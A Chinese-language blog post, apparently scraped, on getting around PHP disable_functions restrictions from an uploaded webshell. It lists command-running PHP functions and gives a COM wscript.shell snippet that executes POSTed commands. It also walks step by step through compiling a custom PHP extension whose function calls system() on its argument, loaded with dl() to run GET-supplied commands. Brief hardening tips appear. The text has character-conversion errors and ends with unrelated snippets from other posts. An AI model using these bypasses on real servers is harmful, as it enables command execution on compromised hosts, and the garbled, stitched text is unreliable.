投稿 Webshell下命令執行限制及繞過方法

2021-09-24 16:35:54 字數 2929 閱讀 5057

0x00 前言

上傳webshell後,執行命令時或許沒法執行了,這時我們該分析下原理並想出繞過方式,防守方也必須根據繞過方式想想更強的防禦.

0x01 php webshell執行命令原理

php webshell(以下簡稱webshell)下是怎麼執行系統命令的?我們找乙個webshell分析下

搜尋關鍵字定位到以下**

function execute($cfe)  elseif(function_exists('passthru'))  elseif(function_exists('shell_exec'))  elseif(function_exists('exec'))  elseif(@is_resource($f = @popen($cfe,"r"))) 

@pclose($f);}}

return $res;

}

即按順利呼叫system(),passthru(),shell_exec,exec,popen函式 成功呼叫就不再往下呼叫

0x02禁止webshell執行命令原理

php配置檔案裡面有個disable_functions = 配置,這個禁止某些php函式,

伺服器便是用這個來禁止php的執行命令函式,

例如

disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用這些函式來執行系統命令

0x03黑名單繞過

知道了原理後,我們便能想出很多繞過的方式

首先是黑名單繞過

我們看看php下能夠執行系統命令的函式有哪些

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反單引號
那麼 便可以看看php.ini中的disable_function漏過了哪些函式。

然後 hack it.

曾經在給某大企業做滲透測試時,未禁用assert 成功執行命令

烏雲上的案例 未禁用proc_open而引起

解決方案:關注並收集php系統命令執行函式,補齊disable_function項。

0x04 系統元件繞過

這個方法適用於windows

看**

<?php

$command=$_post[a];

$wsh = new com('wscript.shell'); // 生成乙個com物件

$exec = $wsh->exec('cmd.exe /c '.$command); //呼叫物件方法來執行命令

$stdout = $exec->stdout();

$stroutput = $stdout->readall();

echo $stroutput

?>

徹底的解決方案是 直接刪除system32目錄下wshom.ocx檔案

0x05拓展庫繞過

linux下可通過編譯拓展庫進行繞過

網路上的方法及官方的方法 都提示錯誤,

經過研究 給出一種正確編譯php拓展庫的方法

前方高能。

tar zxvf php-5.3.10.tar.gz  //解壓縮

cd php-5.3.10/ext

./ext_skel --extname=dl //生成名為dl的拓展庫

cd dl

vi config.m4

將這三行

php_arg_with(dl, for dl support,

make sure that the comment is aligned:

[ --with-dl include dl support])

前面的dnl去掉並儲存

whereis phpize          //找出phpize路徑

/usr/local/bin/phpize // 執行phpize

vi dl.c

if (zend_parse_parameters(zend_num_args() tsrmls_cc, "s", &arg, &arg_len) == failure)
這一行下新增

system(arg);
whereis php-config  //找出php-config的路徑

./configure --whith-php-config=php-config路徑

make

make install

[root@tencent64 ~/php-5.3.10/ext/dl]# make install

installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/

成功生成了

檢視php.ini的

extension_dir 項

/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷貝到extension_dir目錄下

若extension_dir目錄無寫許可權則可寫入任意目錄用…/…/來繞過並呼叫。

利用**:

<?php

dl("dl.so");  在extension_dir目錄,如不在則用../../來實現呼叫

confirm_dl_compiled("$_get[a]>1.txt");

?>

執行命令 下

不知道您還記得不,上篇的部落格,我說到了執行命令符,給大家分享分享了一部分執行命令符,接下來給大家分享剩下的一部分。在這裡,我還是希望大家實際操作一下,把這些用到平時的學習中。55.mstsc 遠端桌面連線 56.napclcfg.msc 客戶端配置 57.ncpa.cpl 網路連線 58.narr...

Linux下的執行命令

vbird www command options parameter1 parameter2 說明 1 一行命令中第乙個輸入的部分絕對是 命令 command 或 可執行檔案 2 command為命令的名稱,例如變換路徑的命令為cd等。例如 h 有時候會使用引數的完整全名,則引數前帶有 符號,例如...

Shell下執行mysql 命令

在shell開發中,很多時候我們需要操作mysql資料庫 比如 查詢資料 匯出資料等 但是我們又無法進入mysql命令列的環境,就需要在shell環境中模擬mysql的環境,使用mysql相關命令。mysql uuser ppasswd e insert logtable values 優點 語句簡...